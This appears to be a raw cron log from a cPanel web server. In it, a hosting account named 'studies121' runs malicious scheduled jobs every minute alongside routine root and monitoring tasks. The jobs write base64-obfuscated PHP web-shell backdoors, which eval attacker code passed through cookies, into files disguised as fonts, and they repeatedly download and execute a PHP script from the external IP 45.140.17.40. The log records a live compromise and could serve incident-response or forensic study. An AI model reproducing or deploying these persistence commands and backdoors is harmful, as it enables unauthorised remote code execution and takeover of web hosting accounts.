Sep  5 09:22:01 ip-184-168-122-23 CROND[16323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:22:01 ip-184-168-122-23 CROND[16324]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 09:22:01 ip-184-168-122-23 CROND[16325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:22:01 ip-184-168-122-23 CROND[16322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:23:01 ip-184-168-122-23 CROND[16412]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:23:01 ip-184-168-122-23 CROND[16415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:23:01 ip-184-168-122-23 CROND[16413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:23:01 ip-184-168-122-23 CROND[16414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:24:01 ip-184-168-122-23 CROND[16499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:24:01 ip-184-168-122-23 CROND[16502]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:24:01 ip-184-168-122-23 CROND[16501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:24:01 ip-184-168-122-23 CROND[16498]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 09:24:01 ip-184-168-122-23 CROND[16500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:25:01 ip-184-168-122-23 CROND[16609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:25:01 ip-184-168-122-23 CROND[16612]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 09:25:01 ip-184-168-122-23 CROND[16615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:25:01 ip-184-168-122-23 CROND[16611]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 09:25:01 ip-184-168-122-23 CROND[16613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:25:01 ip-184-168-122-23 CROND[16614]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:26:01 ip-184-168-122-23 CROND[16724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:26:01 ip-184-168-122-23 CROND[16726]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:26:01 ip-184-168-122-23 CROND[16723]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 09:26:01 ip-184-168-122-23 CROND[16725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:26:01 ip-184-168-122-23 CROND[16727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:27:01 ip-184-168-122-23 CROND[16891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:27:01 ip-184-168-122-23 CROND[16892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:27:01 ip-184-168-122-23 CROND[16893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:27:01 ip-184-168-122-23 CROND[16890]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:28:01 ip-184-168-122-23 CROND[17017]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 09:28:01 ip-184-168-122-23 CROND[17018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:28:01 ip-184-168-122-23 CROND[17016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:28:01 ip-184-168-122-23 CROND[17021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:28:01 ip-184-168-122-23 CROND[17023]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:29:01 ip-184-168-122-23 CROND[17145]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:29:01 ip-184-168-122-23 CROND[17147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:29:01 ip-184-168-122-23 CROND[17148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:29:01 ip-184-168-122-23 CROND[17149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:30:01 ip-184-168-122-23 CROND[17243]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 09:30:01 ip-184-168-122-23 CROND[17249]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 09:30:01 ip-184-168-122-23 CROND[17247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:30:01 ip-184-168-122-23 CROND[17246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:30:01 ip-184-168-122-23 CROND[17250]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 09:30:01 ip-184-168-122-23 CROND[17252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:30:01 ip-184-168-122-23 CROND[17248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:30:01 ip-184-168-122-23 CROND[17253]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 09:31:01 ip-184-168-122-23 CROND[17343]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:31:01 ip-184-168-122-23 CROND[17345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:31:01 ip-184-168-122-23 CROND[17347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:31:01 ip-184-168-122-23 CROND[17346]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 09:31:01 ip-184-168-122-23 CROND[17348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:32:01 ip-184-168-122-23 CROND[17461]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:32:01 ip-184-168-122-23 CROND[17463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:32:01 ip-184-168-122-23 CROND[17465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:32:01 ip-184-168-122-23 CROND[17464]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 09:32:01 ip-184-168-122-23 CROND[17466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:33:01 ip-184-168-122-23 CROND[17613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:33:01 ip-184-168-122-23 CROND[17612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:33:01 ip-184-168-122-23 CROND[17615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:33:01 ip-184-168-122-23 CROND[17614]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:34:01 ip-184-168-122-23 CROND[17788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:34:01 ip-184-168-122-23 CROND[17789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
